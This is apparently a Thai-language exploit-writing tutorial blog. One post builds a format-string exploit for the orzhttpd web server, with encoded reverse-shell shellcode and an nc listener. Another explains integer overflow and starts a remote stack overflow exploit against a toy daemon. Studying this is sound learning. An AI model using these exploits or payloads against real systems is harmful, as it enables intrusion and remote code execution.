uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)

Monday, May 2, 2011

Exploiting orzhttpd r140 (disable all security options)

เราดูการเขียน exploit สำหรับโปรแกรมจริงๆ กันบางดีกว่า เดี๋ยวจะหาว่าไม่มีโปรแกรมจริงๆ เลย ตัวอย่างแรกที่จะมาให้ดูคือ orzhttpd rivision 140 ซึ่งมีคนได้เขียน exploit ไว้แล้วที่ http://www.exploit-db.com/exploits/10282/ โดยเราจะมาดูถึงปัญหาของโปรแกรมนี้ และเขียน exploit กัน โดยสมมติว่าโปรแกรม compile แบบไม่มีการป้องกันใดๆ (ถึงแม้โปรแกรมนี้จะเก่า และไม่มีการพัฒนาต่อ บวกกับไม่มีคนใช้งาน แต่อย่างน้อยเราจะได้เห็นว่าเขียน exploit ใน application จริงๆ ขนาดเล็กๆ เป็นอย่างไร)

Installation

ก่อนอื่นเราเริ่มที่ดึง source code แล้ว compile กันก่อน

$ svn export -r 140 http://orzhttpd.googlecode.com/svn/trunk/ orzhttpd
...
Exported revision 140.
$ sudo apt-get install libevent-dev libssl-dev libexpat-dev
...
$ cd orzhttpd
$ CFLAGS="-fno-stack-protector -z norelro -z execstack -D_FORTIFY_SOURCE=0" make linux
...
log.c: In function ‘serverlog’:
log.c:34: warning: format not a string literal and no format arguments
...

เมื่อ compile เสร็จแล้ว ก็ให้ตั้งค่าตามนี้ (ไฟล์ config.xml สำหรับคนไม่อยากแก้เอง)

$ sed -e 's/>www</>www-data</' config.xml.sample > config.xml
$ sudo mkdir -p /usr/local/www/log /usr/local/www/data
$ sudo chown www-data: /usr/local/www/log
$ sudo touch /usr/local/www/data/index.html

เมื่อทุกอย่างพร้อมแล้ว ก็เริ่ม orzhttpd ด้วยคำสั่ง

$ sudo ./orzhttpd -f config.xml

Vulnerability

เรามาดูปัญหาของโปรแกรม โดยผมจะอาศัยข้อมูลที่มีอยู่แล้วใน internet เพื่อความรวดเร็ว จาก svn log ที่ http://code.google.com/p/orzhttpd/source/detail?r=141 จะเห็นว่าปัญหาอยู่ใน log.c และเมื่อเราดู diff จะเห็นว่ามีการแก้ไขอยู่ 2 บรรทัด คือบรรทัดของคำสั่ง vsprintf กับ fprintf

    if (format != NULL)
    {
        va_start(ap, format);
        vsprintf(buf, format, ap); // ไม่มีการกำหนดว่าให้ใส่ข้อมูล buf ได้เท่าไร ==> buffer overflow
        va_end(ap);
    }

    fprintf(log, buf); // นำข้อมูลมาใช้เป็น format string ==> format string bug
    fflush(log);

โดยในโปรแกรมนี้ ผมจะ exploit ที่ format string bug เนื่องจากถ้าเราทำ stack based buffer overflow เราจะต้องมีการเขียนทับตัวแปร ap และ log ก่อนจะสามารถเขียนทับ saved eip ได้ ทำให้เราต้องเขียนค่าที่สามารถทำให้โปรแกรมทำงานจนจบ function เราถึงจะควบคุม eip ได้ ซึ่งจะยากกว่าการใช้ format string bug ที่สามารถเขียนทับที่ไหนก็ได้เลย

เรามาดูกันก่อนดีกว่าว่า ส่วนโค้ดที่มีปัญหาในฟังก์ชัน serverlog() โดนเรียกเมื่อไร จากไหน จะเห็นว่า

$ grep -n serverlog *.c
log.c:7:serverlog(LOG_TYPE_t type, const char *format, ...)
log.c:84:    server->log = serverlog;

จะเห็นว่า serverlog function นั้น ไม่โดนเรียกโดยตรง แต่ใช้ pointer to function server->log เก็บ address ของ serverlog function และเมื่อหาต่อ

$ grep -n 'server->log' *.c
log.c:84:    server->log = serverlog;
log.c:86:    if (server->log == NULL)
log.c:87:       error_exit("server->log == NULL");
log.c:136:      server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s?%s %s\" %d %d \"%s\"\n",
log.c:145:      server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s %s\" %d %d \"%s\"\n",
request.c:60:    server->log(ERROR_LOG, "%s\n", conn->read_buf.buf);
status.c:160:   server->log(ERROR_LOG, "%s", response);

ถ้าเราดูใน request.c และ status.c จะเห็นว่า code ที่เรียก server->log() นั้นอยู่ใน "#ifdef HTTPD_DEBUG" ซึ่งจะไม่ถูก compile อยู่ใน binary ของเรา ดังนั้นเรามาดูที่ log.c จะอยู่ในฟังก์ชัน log_request

void
log_request(CONN_t *conn)
{
#ifdef  IPV6_HTTPD
    char            address[INET6_ADDRSTRLEN];
#else
    char            address[INET_ADDRSTRLEN];
#endif
    char            datemsg[30];
    int             ret;

    if (conn->status.st == HTTP_STATUS_400)
        return;

    if ((ret = get_IP((struct sockaddr *)&conn->cin, server->salen, address, sizeof(address))) != 0)
    {
        *address = '\0';
#if 0
        fprintf(stderr, "getnameinfo error: %s\n", gai_strerror(ret));
#endif
    }

    if (conn->request.uri.query)
        server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s?%s %s\" %d %d \"%s\"\n",
                address, conn->request.uri.authority,
                log_time(datemsg, sizeof(datemsg)),
                http_method_str(conn),
                conn->request.uri.path_raw, conn->request.uri.query,
                http_version(conn),
                conn->status.st, conn->response.content_length,
                conn->request.user_agent);
    else
        server->log(ACCESS_LOG, "%s %s - [%s] \"%s %s %s\" %d %d \"%s\"\n",
                address, conn->request.uri.authority,
                log_time(datemsg, sizeof(datemsg)),
                http_method_str(conn),
                conn->request.uri.path_raw,
                http_version(conn),
                conn->status.st, conn->response.content_length,
                conn->request.user_agent);
}

จะเห็นว่าฟังก์ชันชื่อ log_request และเมื่อดูจาก arguments ต่างๆที่เรียก serverlog function ทำให้เดาได้ว่า ทุกๆ request ที่มีการ log จะมีการเรียกโค้ดที่มีปัญหา

เมื่อดู argument conn->request.uri.path_raw ซึ่งเดาได้ว่าคือ request ของเรามีการส่งผ่านไปที่ serverlog function และเมื่อถึงบรรทัด vsprintf ซึ่งไม่มีการกำหนดขนาดของ buf ทำให้เมื่อเราส่ง request ที่มีขนาดยาวๆ จะทำให้เกิด buffer overflow แต่เราจะไม่ทำให้เกิด buffer overflow ในกรณีนี้

เมื่อโปรแกรมทำงานถึงบรรทัด fprintf เพื่อที่จะเขียน log ลงในไฟล์ สำหรับคนที่ยังไม่มีประสบการณ์ อาจจะมองว่าตัวแปร buf นั้น โปรแกรมควมคุบเอาไว้ แต่จริงๆ แล้วถ้าเราส่ง request ที่เป็น format string เช่น "%x" จะทำให้ตัวแปร buf มี format string ที่มาจากเรา และเมื่อโปรแกรมเรียก fprintf ที่ใช้ buf เป็น format string ทำให้โปรแกรมแปล format string ที่เราส่งเข้าไป

Exploitation

ถึงเวลาเริ่มเขียน exploit กันแล้ว เรามาลองเขียนโปรแกรมเล็กๆ (ex12_orzhttpd_1.py) เพื่อที่จะดูผลลัพธ์กันก่อน

import socket

target_ip = "127.0.0.1"
target_port = 80
def send_request(ip, port, request):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.send(request)
    msg = s.recv(8192)
    s.close()
    return msg

print send_request(target_ip, target_port, "GET /index.html HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "GET %x%x HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "GET /%x%x HTTP/1.0\r\n\r\n")
print send_request(target_ip, target_port, "PWN /%x%x HTTP/1.0\r\n\r\n")
$ python ex12_orzhttpd_1.py
HTTP/1.0 200 OK
Date: Mon, 02 May 2011 08:03:25 GMT
Connection: close
Server: OrzHTTPd/0.0.6 (Linux)
Content-Type: text/html
Content-Length: 0
Last-Modified: Fri, 15 Apr 2011 08:57:50 GMT


HTTP/1.0 400 Bad Request

HTTP/1.0 404 Not Found

HTTP/1.0 501 Not Implemented

และเมื่อดูที่ log

$ cat /usr/local/www/log/orzhttpd.access.log
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /index.html HTTP/1.0" 200 0 "-"
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 501 0 "-"

จะเห็นว่าเรา request ไป 4 ครั้ง แต่มี log เพียงแค่ 3 อัน ซึ่งเมื่อดูแล้ว จะไม่มี log ของ return code 400 ซึ่งเป็นที่ request ที่ 2 "GET %x%x" ส่วนใน request ที่ 3 เป็นการยืนยัน format string bug และใน request ที่ 4 ถึงแม้ว่าเราจะใช้ HTTP method โปรแกรมก็ยังคง log และถ้าเราลองส่ง request จากเครื่องอื่น (IP: 192.168.1.101) จะเห็น log เป็น

192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /index.html HTTP/1.0" 200 0 "-"
192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 501 0 "-"

จะเห็นว่าใน log จะมีการใส่ IP ของเครื่อง client ไว้ด้วย ซึ่งความยาวอาจจะมีความยาวไม่เท่ากัน โดยจะมีผลกับการอ้างตำแหน่งของ argument สำหรับ format string ที่เราจะใส่ เพราะว่า format string ของเราที่อยู่ในตัวแปร buf นั้นอยู่หลัง "GET /" ถ้าความยาวของ string ข้างหน้าไม่คงที่ จะทำให้ exploit เราทำงานได้บ้่าง ไม่ได้บ้าง (เดี๋ยวจะเห็นว่าจะจัดการกับกรณีนี้ยังไง)

เมื่อเราเห็นแล้วว่าสามารถใช้ format string bug ได้ ขั้นตอนต่อไปคือหา ตำแหน่งของ argument ที่อยู่ในส่วนที่เราควบคุม และจะใส่ address ที่จะเขียนลงไป (ex12_orzhttpd_2.py) โดยในนี้จะแสดงเฉพาะส่วนสำคัญ

for i in range(1, 25):
    print send_request(target_ip, target_port, "GET /AAAA_%d_%%%d$x HTTP/1.0\r\n\r\n" % (i,i))

และเมื่อดูใน log จะได้

127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_1_bfffe528 HTTP/1.0" 404 0 "-"
...
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_14_20544547 HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_15_4141412f HTTP/1.0" 404 0 "-"
127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_16_36315f41 HTTP/1.0" 404 0 "-"
...

จะเห็นว่าตำแหน่ง argument ของ format string ที่เราเริ่มควบคุมได้คือ 15 แต่ถ้าผมลองต่อจาก IP 192.168.1.101 ดูจะได้ log เป็น

...
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_15_20544547 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_16_4141412f HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_17_37315f41 HTTP/1.0" 404 0 "-"
...

คราวนี้อยู่ที่ตำแหน่ง 16 เลื่อนไปหนึ่ง แล้วเราจะทำให้ exploit เรา reliable ได้ไงละเนี่ย ง่ายๆ คือเราต้องรู้ IP ของเราที่ server เห็นก่อนที่จะ exploit แล้วเราจะต้องนำความยาวมาคำนวณ ความ IPv4 address ที่สั้นที่สุดที่เป็นไปได้คือ "x.x.x.x" ซึ่งยาว 7 และ IPv4 address ที่ยาวที่สุดที่เป็นไปได้คือ "xxx.xxx.xxx.xxx" ซึ่งยาว 15

เราได้ตำแหน่ง argument ของ format string ของ "192.168.1.101" ซึ่งยาว 13 ดังนั้นถ้า IP address ยาว 15 ตัวอักษรเราจะใส่ "/A" สำหรับ padding และใช้ตำแหน่ง 17,18 สำหรับอ้างอิงใน format string ของเรา ส่วนถ้า IP address ที่สั้นกว่านี้ เราะจะ pad ด้วย A ชดเชยความยาว IP address ที่สั้นลง ซึ่งจะโค้ดเป็นแบบนี้ (ex12_orzhttpd_3.py)

my_pub_ip = "127.0.0.1"
# 15 is max IP address length "xxx.xxx.xxx.xxx"
req_string = "GET /A" + "A"*(15-len(my_pub_ip)) + "BBBBCCCC" + "_%17$x%18$x HTTP/1.0\r\n\r\n"
print send_request(target_ip, target_port, req_string)
127.0.0.1 - - [02/May/2011 20:52:18 +0700] "GET /AAAAAAABBBBCCCC_4242424243434343 HTTP/1.0" 404 0 "-"
192.168.1.101 - - [02/May/2011 20:51:33 +0700] "GET /AAABBBBCCCC_4242424243434343 HTTP/1.0" 404 0 "-"

เมื่อได้ตำแหน่งของ argument สำหรับ format string ต่อมาคือหาว่าเราจะเขียนทับที่ไหน โดยผมจะเขียนทับที่ GOT entry fflush เพราะว่าจะมีการเรียก fflush หลังจากการเรียก fprintf ที่เราสามารถเขียบทับค่าที่ไหนก็ได้

$ objdump -R orzhttpd | grep fflush
0804ea04 R_386_JUMP_SLOT   fflush

สำหรับค่าที่จะใส่ใน fflush GOT entry นั้นคือ address ของ shellcode ของเรา ดังนั้นเราต้องหา address โดยลองส่ง request เข้าไปพร้อมกับ format string เพื่อทำการทดสอบ (ex12_orzhttpd_4.py)

req_fmt = pack("<II", 0x0804ea06, 0x0804ea04) + "%17$hn%18$hn"
sc = "\x90"*1024
print send_request(target_ip, target_port, req_padding + req_fmt + sc + " HTTP/1.0\r\n\r\n")

เราจะ gdb เพื่อดูค่า โดยเราจะตั้ง breakpoint ไว้ที่ fflush

$ objdump -D orzhttpd | grep -A 10 vsprintf
...
--
 804a8dc:       e8 b3 e8 ff ff          call   8049194 <vsprintf@plt>
 804a8e1:       83 c4 10                add    $0x10,%esp
...
 804a8f6:       e8 d9 e9 ff ff          call   80492d4 <fflush@plt>
 804a8fb:       83 c4 10                add    $0x10,%esp
$ sudo gdb -p `ps -C orzhttpd -o pid=`
...
0x0012d422 in __kernel_vsyscall ()
(gdb) b *0x804a8f6
Breakpoint 1 at 0x804a8f6
(gdb) c
Continuing.

Breakpoint 1, 0x0804a8f6 in ?? ()
(gdb) x/x 0x0804ea04
0x804ea04:      0x00400040    # จะเห็นว่าจำนวนที่ print ไปโดย default คือ 0x40
(gdb) x/64x $esp
...
0xbfffe6d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffe6e0:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb) q

หลังจากออกจาก gdb ต้องการทำเริ่มโปรแกรม orzhttpd ใหม่ เพราะโปรแกรมนี้ทำงานแบบ thread ซึ่งถ้าเกิดการ crash ขึ้นมาจะทำให้ทั้ง process จบการทำงาน และเมื่อได้ address ที่เราต้องการเราจะทำการใส่เข้าไปใน exploit พร้อมกับ shellcode ที่กับการ reverse shell มาหาเรา

ถ้าใครลองเอา shellcode ที่ผมเคยเขียนไว้ใส่เข้าไป จะเห็นว่าโปรแกรม crash เพราะ shellcode ที่ผมให้ไปนั้นมี badchar ซึ่งที่เห็นเป็นอันแรกคือ 0x00 จากข้อมูลเราที่ต้องผ่าน vsprintf และที่เห็นๆ กับ HTTP protocol คือ 0x0a (\n), 0x0d (\r) และ 0x20 (ช่องว่าง) โดยในครั้งนี้ผมจะใช้ shellcode จาก metasploit พร้อมกับใช้ msfencode เพื่อหลีกเลี่ยง badchar

$ msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -b '\x00\x0a\x0d\x20' -t ruby
[*] x86/shikata_ga_nai succeeded with size 98 (iteration=1)

buf =
"\xbf\xf3\x54\xe8\x0f\xda\xcb\xd9\x74\x24\xf4\x58\x31\xc9" +
"\xb1\x12\x83\xc0\x04\x31\x78\x11\x03\x78\x11\xe2\x06\x65" +
"\x33\xf8\x0b\xd5\x80\x54\xa1\xd8\x8f\xba\x85\xbb\x42\xbc" +
"\xbe\x1d\x35\xc2\x40\xa2\xc4\x5a\x28\xb3\x9a\xc4\xfb\xd9" +
"\x32\x58\xab\x94\xd2\x19\x21\xc1\x4c\x53\x35\x54\xea\xb2" +
"\x85\x58\x39\xc4\xac\xdf\x38\x95\x46\x0f\x94\x65\xfe\x27" +
"\xc5\xeb\x97\xd9\x90\x0f\x37\x75\x2a\x2e\x07\x72\xe1\x31"

สุดท้าย เราจะได้ exploit ที่ทำ reverse shell มาที่ 127.0.0.1:4444 (ex12_orzhttpd.py) และเมื่อเราใช้ nc เพื่อรอรับ shell จะได้

$ nc -nv -l 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
$

เกิดอะไรขึ้น netcat บอกว่ามี connection มาเรียบร้อยแล้ว แต่เมื่อ accepted จะเห็นว่า connection หลุดทันที เรายังไม่ได้ทำการ disconnect เลย ถ้าเราลองพิมพ์คำสั่ง id ไว้ก่อนจะได้

$ nc -nv -l 4444
id      # <=== พิมพ์ไว้ก่อนจะยิง exploit พร้อมกับกด enter
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
uid=33(www-data) gid=33(www-data) groups=0(root)
$

เหมือนกับว่า connection นี้จะ disconnect ทันทีที่ไม่มีข้อมูล โดยเราสามารถตรวจสอบว่าเกิดอะไรขึ้นด้วยคำสั่ง strace ซึ่งเป็นคำสั่งสำหรับ trace system call (อย่าลืมให้รัน nc ให้ listen connection ด้วยนะครับ)

$ sudo strace -p `ps -C orzhttpd -o pid=`
clock_gettime(CLOCK_MONOTONIC, {6046, 379087659}) = 0
epoll_wait(6, 806ea88, 32, -1)          = -1 EINTR (Interrupted system call)
--- SIGALRM (Alarm clock) @ 0 (0) ---
time(NULL)                              = 1304348030
sigreturn()                             = ? (mask now [])
clock_gettime(CLOCK_MONOTONIC, {6047, 379100497}) = 0
...
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
...
read(0, 0x805d600, 8192)                = ? ERESTARTSYS (To be restarted)
--- SIGALRM (Alarm clock) @ 0 (0) ---
Process 2040 detached

จะเห็นว่าจะมีการใช้ SIGALRM ใน orzhttpd และหลังจาก process ทำการ execve เพื่อเปลี่ยน process ตัวเองเป็น /bin/sh แล้ว SIGALRM ยังคงทำงานอยู่ และเมื่อ shell เราที่ทำคำสั่ง read เพื่อคอยรับคำสั่งจากเราโดน interrupt ทำให้ /bin/sh คิดว่า input หมดแล้ว และทำการจบโปรแกรม ทำให้ connection เราหลุด

วิธีแก้ปัญหานี้ อาจทำได้ด้วยเพิ่ม shellcode สำหรับ disable SIGALRM เข้าไป โดยให้ ignore SIGALRM หรือวิธีง่ายกว่านั้นคือใช้คำสั่ง "trap "" 14" (14 คือหมายเลขของ SIGALRM) ใน shell หลังจากที่เราได้ทันที เพื่อให้ ignore SIGALRM

คำสั่ง trap นี้เราอาจจะพิมพ์ไว้ก่อน หลังจากที่เรารัน netcat หรือใช้ echo แล้ว pipe ไปที่ stdin ของ netcat ก็ได้ แต่ถ้าเราใช้ pipe เราจะต้องมีอีกคำสั่งหนึ่งเพื่อให้ pipe ยังคงอยู่ และ stdin สำหรับ netcat ไม่จบ ซึ่งโดยปกติจะใช้คำสั่ง cat

$ (echo 'trap "" 14';cat) | nc -nv -l 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=33(www-data) gid=33(www-data) groups=0(root)
exit

$

ได้ exploit สำหรับ orzhttpd แล้ว หวังว่าไม่ยากเกินไปนะครับ :)

Sunday, April 17, 2011

Integer Overflow

ในหัวข้อนี้ เรามาดูอีกข้อผิดพลาดหนึ่งที่พบกันคือ Integer Overflow ซึ่งโดยส่วนมากที่พบคือ ปัญหาเกี่ยวกับการเปลี่ยนค่า signed (มีค่าได้ทั้งบวกและลบ) จาก unsigned (มีค่าเป็นบวกได้เท่านั้น)

ก่อนอื่น เรามาดูค่าที่น้อยที่สุด และมากที่สุดของตัวแปรแต่ละชนิดเป็นดังนี้

ชนิดMINMAX
char-128127
unsigned char0255
short-3276832767
unsigned short065535
int (32 bits)−21474836482147483647
unsigned int04294967295

รูปแบบแรกที่พบ เนื่องจากในระบบ 2's complement ที่ใช้กันอยู่ในคอมพิวเตอร์นั้น ตัวแปร char ถ้ามีค่า 127 แล้วบวกกับ 1 จะมีค่าเท่ากับ -128 ซึ่งเกิดการ overflow ของตัวเลข

อีกรูปแบบหนึ่ง ที่อาจจะเจอคือการส่ง ผ่านตัวแปรที่ function รับเป็นแบบ unsigned แต่ตอนแรกเราใช้เป็นแบบ signed เช่น

void process(char *buffer, unsigned int len)
{
    // do something
}

void foo()
{
    int len;
    char buffer[2048];

    // get data and len from somewhere

    // process data only if len is less than 2048
    if (len < 2048)
        process(buffer, (unsigned int) len);
}

จากโค้ดข้างบน จะเห็นว่า len นั้นเป็นแบบ signed int ทำให้บรรทัด "if (len < 2048)" เปรียบเทียบแบบ signed ซึ่งถ้าเราสามารถกำหนดค่า len ให้มีค่าเป็นลบได้ โปรแกรมจะเรียก process function ซึ่งมีการรับค่าเป็นแบบ unsigned int ทำให้ใน process function จะเห็นค่า len เป็นค่าที่มากกว่า 2147483647 และอาจทำให้เราสามารถควบคุมโปรแกรมได้

หมดแล้วสำหรับหลักการ Integer Overflow จะเห็นว่าเรื่องนี้จะดูง่ายๆ แต่ในความเป็นจริงแล้ว bug ประเภทนี้ ส่วนมากที่เจอ จะค่อนข้าง tricky

สำหรับตัวอย่างครั้งนี้ ผมจะทำเป็นแบบ remote exploit ซึ่งเดี๋ยวจะเห็นว่าวิธีการ exploit จะเหมือนกับ local exploit ที่ผ่านๆ มา เพียงแค่เราต้องเปลี่ยน shellcode ที่จะใช้ให้เป็นเกี่ยวกับ network เรามาดูกันเลยดีกว่า โดยผมจะแสดงในนี้เฉพาะส่วนที่สำคัญ (ex_11_1.c)

/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_11_1 ex_11_1.c */
// ... include ...

char datalen, len;

void do_encrypt(char *buffer, char len)
{
    int i;
    for (i = 0; i < len; i++)
        buffer[i] ^= 0xaf;
}

void handle_client(int fd)
{
    char buffer[128]; // maximum value of char is 127

    // get data len
    if (recv(fd, &datalen, 1, 0) != 1) {
        close(fd);
        return;
    }

    len = 0;
    while (len < datalen)
        len += recv(fd, buffer + len, datalen, 0);

    do_encrypt(buffer, datalen);
    send(fd, buffer, datalen, 0);
    close(fd);
}
// ... main ...

ในส่วน main คือ code สำหรับทำตัวเองให้เป็น daemon process และคอยรับ connection ที่ port 55555 และเมื่อมี client มาต่อ จะทำการ fork แล้วเรียก handle_client function

เรามาดูการทำงานของ handle_client() กันก่อน จะเห็นโปรแกรมรับข้อมูล 1 byte จาก client เพื่อใช้สำหรับระบุว่าข้อมูลจะมีความยาวเท่าไร หลังจากนั้นทำการรับข้อมูลจาก client จนกระทั่ง len มีค่ามากว่าหรือเท่ากับ datalen หลังจากนั้นโปรแกรมจะเรียก do_encrypt function ซึ่งผมได้ใช้วิธีการ xor กับค่า 0xaf และเมื่อจบ do_encrypt function โปรแกรมจะทำการส่งข้อมูลที่รับกลับมา

ผมหวังว่าหลายๆ คนจะสังเกตเห็นปัญหาของโปรแกรมนี้แล้ว จุดที่น่าสังเกตของโปรแกรมนี้คือ

  1. เราสามารถที่จะส่งค่า datalen เป็นลบได้ แต่จะไม่มีผลกับโปรแกรม เพราะ len เริ่มต้นเป็น 0 แล้วโปรแกรมจะไม่ทำงานใดๆ
  2. len เป็นตัวแปรชนิด char ซึ่งสามารถเกิด integer overflow ได้ และเมื่อเกิด overflow ที่ recv() จะทำให้ while loop เป็นจริงและทำงานต่อ
  3. ที่ recv() ได้ระบุจำนวนข้อมูลที่จะรับ (argument ที่ 3)เป็น datalen ทำให้ถ้าข้อมูลมาครั้งแรกน้อยกว่า datalen ทำให้ครั้งต่อไปโปรแกรมอาจจะรับข้อมูลเกินที่ระบุไว้ใน datalen ซึ่งโค้ดที่ถูกต้องควรเป็น datalen - len
ดังนั้น ถ้าเราส่งค่า datalen เป็น 127 แล้วเราส่งข้อมูลครั้งแรกให้ยาว 126 bytes จะทำให้ข้อมูลที่เราส่งครั้งถัดไปสามารถเขียนเกินส่วนของ buffer ไปทับ saved eip ได้

เรามาลองส่งข้อมูลกันก่อนสักรอบดีกว่า โดยผมจะใช้ nc ในการต่อ และใช้ "\n" (Enter) สำหรับ datalen ค่า 10

$ ./ex_11_1    # สำหรับคนที่ยังไม่ได้รัน
$ nc -v 127.0.0.1 55555
Connection to 127.0.0.1 55555 port [tcp/*] succeeded!

1234567890
▒▒▒▒▒▒▒▒▒▒

โปรแกรมทำงานปกติ แต่ถ้าเราตต้องการจะ debug ละ จะเห็นว่าโปรแรมนี้ จะมีการ fork process ลูก แต่ gdb ของเราทำการ debug process แม่อยู่ วิธีการ debug ด้วย gdb คือให้คำสั่ง "set follow-fork-mode child" ทำได้ตามนี้ (หรือใส่ไว้ใน gdbinit)

$ ps -e | grep ex_11_1
 1287 ?        00:00:00 ex_11_1
$ gdb -q -p 1287
Attaching to process 1287
...
Loaded symbols for /lib/ld-linux.so.2
0x0012d422 in __kernel_vsyscall ()
(gdb) disas handle_client
...
   0x080486e5 <+121>:   mov    %eax,(%esp)
   0x080486e8 <+124>:   call   0x80484bc <recv@plt>
...
   0x080486fe <+146>:   movzbl 0x8049ac4,%edx  # len อยู่ที่ 0x8049ac4
   0x08048705 <+153>:   movzbl 0x8049ac5,%eax  # datalen อยู่ที่ 0x8049ac5
   0x0804870c <+160>:   cmp    %al,%dl
   0x0804870e <+162>:   jl     0x80486b6 <handle_client+74>
...
   0x0804871e <+178>:   lea    -0x88(%ebp),%eax  # buffer อยู่ที่ ebp-0x88
   0x08048724 <+184>:   mov    %eax,(%esp)
   0x08048727 <+187>:   call   0x8048634 <do_encrypt>
...
   0x08048762 <+246>:   leave
   0x08048763 <+247>:   ret
End of assembler dump.
(gdb) b *0x08048727
Breakpoint 1 at 0x8048727
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
# ... เปิดอีก terminal ใช้ nc ต่อเข้ามาแบบข้างบน
[New process 1401]
[Switching to process 1401]

Breakpoint 1, 0x08048727 in handle_client ()
(gdb) x/4x $esp
0xbffff660:     0xbffff670      0x0000000a      0x0000000a      0x00000000
(gdb) x/s 0xbffff670
0xbffff670:      "1234567890)"
(gdb) c
Continuing.

Program exited normally.

หลังจาก debug โปรแกรมได้แล้ว เรามาลองเขียนโปรแกรมเล็กๆ โดยผมจะใช้ python เพื่อส่งข้อมูลที่ทำให้เกิด buffer overflow แบบที่คิดไว้ข้างบน โดยครั้งแรกจะได้

import socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

s.send("\x7f") # send datalen (127)
s.send("J"*126) # send junk 126 bytes

# sleep 1 sec before sending again, so the data is not merged in 1 recv
time.sleep(1)

s.send("A"*126)
s.close()
$ gdb -q -p 1287
...
(gdb) b *0x080486e8  # set breakpoint ที่ recv() ใน while loop
Breakpoint 1 at 0x080486e8
(gdb) condition 1 *((char*)0x8049ac4)==126  # กำหนดให้ break เมื่อ len==126
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
# ... ต่อด้วยโปรแกรม python ที่เขียนขึ้นมา
[New process 1461]
[Switching to process 1461]

Breakpoint 1, 0x080486e8 in handle_client ()
(gdb) x/x $ebp-0x88
0xbffff670:     0x4a4a4a4a    # buffer อยู่ที่ address 0xbffff670
(gdb) x/4x $esp   # list argument ของ recv
0xbffff660:     0x00000004      0xbffff6ee      0x0000007f      0x00000000
(gdb) x/8x $ebp-16
0xbffff6e8:     0x4a4a4a4a      0x00294a4a      0x00000000      0x00000000
0xbffff6f8:     0xbffff738      0x080488a5      0x00000004      0x00000000
(gdb) ni
0x080486ed in handle_client ()
(gdb) x/8x $ebp-16
0xbffff6e8:     0x4a4a4a4a      0x41414a4a      0x41414141      0x41414141
0xbffff6f8:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) d 1
(gdb) b *0x080486e8
Breakpoint 2 at 0x80486e8
(gdb) c
Continuing.

Breakpoint 2, 0x080486e8 in handle_client ()
(gdb) x/4x $esp   # list argument ของ recv
0xbffff660:     0x41414141      0xbffff66c      0x0000007f      0x00000000
(gdb) k
Kill the program being debugged? (y or n) y

ให้สังเกตที่ arguemnt ของ recv จะเห็นว่าค่า fd จากที่ครั้งแรกเป็น 4 กลายเป็น 0x41414141 เนื่องจากเรา overwrite ค่า fd ที่เป็น argument ของ handle_client function (อยู่ใน saved eip) และทำให้ recv function จะ return -1 ดังนั้นวิธีหนึ่งที่ทำได้คือ overflow ให้เขียนทับ eip แล้วใน while loop จะลบค่า len ไปทีละ 1 จากค่าติดลบจนเป็น 127 ที่เท่ากับ datalen

แต่ถ้าโปรแกรมมีการ check ว่า recv return -1 หรือไม่ เราก็จะไม่สามารถใช้วิธีข้างบนได้ (และผมก็ไม่แสดงให้ดูนะ) แต่เราต้องทำให้ fd นั้นเป็นค่าของ socket ที่ต่ออยู่จริงๆ แล้วค่ามันคืออะไรละ โดย default ของโปรแกรม 0,1,2 เป็น stdin, stdout, stderr ตามลำดับ และ server socket ที่สร้างมาสำหรับรับ connection จาก client ก็จะเป็น 3 ดังนั้น client socket ที่ต่อใหม่ก็จะเป็น 4 และถ้าดูที่โปรแกรมตัว parent ที่ใช้รับ connection จะ close client fd ก่อน แล้วค่อยไปรับ connection ใหม่ ทำให้ client ที่ต่อใหม่อีกรอบก็ยังคงเป็น 4 และเมื่อรู้ว่าค่า client fd เป็น 4 ตลอด ดังนั้นเราสามารถเขียนทับค่านี้ด้วย 4 เพื่อให้โปรแกรมทำงานต่อได้ถูกต้อง

เมื่อเราสามารถให้โปรแกรมทำงานต่อไปได้ เรามาลองคิดดูว่าตอนนี้ len จะมีค่าเป็น 126+126=-4 ดังนั้นเราจะต้องใส่ค่าไปอีก 4+127=131 เพื่อให้โปรแกรมออกจาก while loop โดยค่าที่เราใส่เข้าไปจะไปทับข้อมูลใน buffer ที่เราส่งไปครั้งแรก ดังนั้นถ้าเราแก้ code แล้ว debug จะได้

